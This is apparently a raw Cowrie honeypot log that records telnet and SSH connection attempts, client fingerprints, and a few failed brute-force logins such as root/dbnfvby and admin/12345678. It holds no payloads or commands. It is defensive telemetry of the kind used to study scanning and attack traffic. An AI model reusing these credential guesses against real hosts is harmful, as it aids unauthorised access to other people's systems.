{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52e404f08a0","protocol":"telnet","message":"New connection: 34.78.85.152:14244 (10.17.0.5:23) [session: e52e404f08a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.221602Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14258,"dst_ip":"10.17.0.5","dst_port":23,"session":"893b3805c3de","protocol":"telnet","message":"New connection: 34.78.85.152:14258 (10.17.0.5:23) [session: 893b3805c3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.375629Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14272,"dst_ip":"10.17.0.5","dst_port":23,"session":"0628871ef6fa","protocol":"telnet","message":"New connection: 34.78.85.152:14272 (10.17.0.5:23) [session: 0628871ef6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.529360Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14288,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd25b08bf8a","protocol":"telnet","message":"New connection: 34.78.85.152:14288 (10.17.0.5:23) [session: 4cd25b08bf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.682433Z"}
{"eventid":"cowrie.session.closed","duration":0.004534006118774414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.686827Z","src_ip":"34.78.85.152","session":"4cd25b08bf8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14292,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bdc2270da17","protocol":"telnet","message":"New connection: 34.78.85.152:14292 (10.17.0.5:23) [session: 4bdc2270da17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.836817Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14306,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ad88bc851aa","protocol":"telnet","message":"New connection: 34.78.85.152:14306 (10.17.0.5:23) [session: 0ad88bc851aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.993460Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 6962","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 6962] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:24.997741Z","src_ip":"34.78.85.152","session":"0ad88bc851aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":14316,"dst_ip":"10.17.0.5","dst_port":23,"session":"8df9badbbddc","protocol":"telnet","message":"New connection: 34.78.85.152:14316 (10.17.0.5:23) [session: 8df9badbbddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:25.151029Z"}
{"eventid":"cowrie.session.closed","duration":0.006682157516479492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:25.157575Z","src_ip":"34.78.85.152","session":"8df9badbbddc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.886192321777344,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.722916Z","src_ip":"34.78.85.152","session":"4bdc2270da17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.197843313217163,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.726920Z","src_ip":"34.78.85.152","session":"0628871ef6fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.508875608444214,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.730359Z","src_ip":"34.78.85.152","session":"e52e404f08a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.358060598373413,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.733582Z","src_ip":"34.78.85.152","session":"893b3805c3de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.66835904121399,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.737080Z","src_ip":"34.78.85.152","session":"e6d911075f96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.824091911315918,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.739517Z","src_ip":"34.78.85.152","session":"185dc020b4c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.991316080093384,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.749253Z","src_ip":"34.78.85.152","session":"cc4bc0869873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.150804281234741,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.752589Z","src_ip":"34.78.85.152","session":"25613bc21128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.312551736831665,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.758510Z","src_ip":"34.78.85.152","session":"2281b2be0b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.470572471618652,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.762322Z","src_ip":"34.78.85.152","session":"3c4579881028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.628063201904297,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.765664Z","src_ip":"34.78.85.152","session":"42da9b66e94e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.787092685699463,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.768840Z","src_ip":"34.78.85.152","session":"7007ea0c2320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.945674180984497,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.771770Z","src_ip":"34.78.85.152","session":"cf96f6161644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.10393762588501,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.774191Z","src_ip":"34.78.85.152","session":"5e4568942dc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.264275312423706,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.778341Z","src_ip":"34.78.85.152","session":"3e2f5d093be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.805908441543579,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.781543Z","src_ip":"34.78.85.152","session":"e386829a7ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.578402757644653,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.784486Z","src_ip":"34.78.85.152","session":"77d869456306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.971547603607178,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.788828Z","src_ip":"34.78.85.152","session":"9fcc552b04a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.129354476928711,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.792617Z","src_ip":"34.78.85.152","session":"6e51aef465d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.287277221679688,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.795818Z","src_ip":"34.78.85.152","session":"4800231a693d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.444700479507446,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.799001Z","src_ip":"34.78.85.152","session":"8ed1990d6979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.601924896240234,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.802037Z","src_ip":"34.78.85.152","session":"39b6c304b1f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.788562774658203,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.835098Z","src_ip":"34.78.85.152","session":"52b8dd4fb6a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.947093963623047,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.839122Z","src_ip":"34.78.85.152","session":"d4a5964b0169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.103229522705078,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.842503Z","src_ip":"34.78.85.152","session":"e164394edcc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.43336772918701,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.845452Z","src_ip":"34.78.85.152","session":"83bd558a1d7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.856786251068115,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:33.850086Z","src_ip":"34.78.85.152","session":"0ad88bc851aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39814,"dst_ip":"159.203.135.109","dst_port":23,"session":"89474c5ed53c","protocol":"telnet","message":"New connection: 128.199.8.54:39814 (159.203.135.109:23) [session: 89474c5ed53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:51.184927Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38692,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a574030b1cb","protocol":"ssh","message":"New connection: 80.66.85.226:38692 (10.17.0.5:22) [session: 9a574030b1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:52.265349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:52.269681Z","src_ip":"80.66.85.226","session":"9a574030b1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:52.358479Z","src_ip":"80.66.85.226","session":"9a574030b1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57784,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ccc15e59d17","protocol":"telnet","message":"New connection: 172.81.62.90:57784 (159.203.135.109:23) [session: 0ccc15e59d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:52.420110Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfvby","message":"login attempt [root/dbnfvby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:52.630383Z","src_ip":"80.66.85.226","session":"9a574030b1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:53.720982Z","src_ip":"80.66.85.226","session":"9a574030b1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.98117709159851,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:45:57.186542Z","src_ip":"94.23.66.112","session":"fd0df32c94e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c3c9b85302a","protocol":"telnet","message":"New connection: 107.6.151.170:46740 (159.203.135.109:23) [session: 1c3c9b85302a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:03.314891Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38560,"dst_ip":"159.203.135.109","dst_port":23,"session":"b18c5ef3b937","protocol":"telnet","message":"New connection: 107.6.151.170:38560 (159.203.135.109:23) [session: b18c5ef3b937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:09.741645Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35936,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e95a3c0e83","protocol":"ssh","message":"New connection: 103.77.175.15:35936 (10.17.0.5:22) [session: 60e95a3c0e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:24.432067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:24.436532Z","src_ip":"103.77.175.15","session":"60e95a3c0e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":56962,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b2b25161636","protocol":"ssh","message":"New connection: 85.198.19.241:56962 (159.203.135.109:22) [session: 9b2b25161636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:24.520982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:24.525322Z","src_ip":"85.198.19.241","session":"9b2b25161636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:24.694752Z","src_ip":"103.77.175.15","session":"60e95a3c0e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280391","message":"login attempt [root/280391] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:25.453951Z","src_ip":"103.77.175.15","session":"60e95a3c0e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:26.714345Z","src_ip":"103.77.175.15","session":"60e95a3c0e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":43526,"dst_ip":"10.17.0.5","dst_port":22,"session":"79135642c87a","protocol":"ssh","message":"New connection: 91.92.40.13:43526 (10.17.0.5:22) [session: 79135642c87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:29.637687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:30.082659Z","src_ip":"91.92.40.13","session":"79135642c87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:30.087401Z","src_ip":"91.92.40.13","session":"79135642c87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:31.224041Z","src_ip":"91.92.40.13","session":"79135642c87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:32.350023Z","src_ip":"91.92.40.13","session":"79135642c87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.2470121383667,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:33.667003Z","src_ip":"172.81.62.90","session":"0ccc15e59d17","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:37.289450Z","src_ip":"85.198.19.241","session":"9b2b25161636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:37.295677Z","src_ip":"85.198.19.241","session":"9b2b25161636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":60560,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a76b2eff645","protocol":"ssh","message":"New connection: 216.155.93.75:60560 (159.203.135.109:22) [session: 3a76b2eff645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:40.676882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:46:40.680992Z","src_ip":"216.155.93.75","session":"3a76b2eff645","protocol":"ssh"}
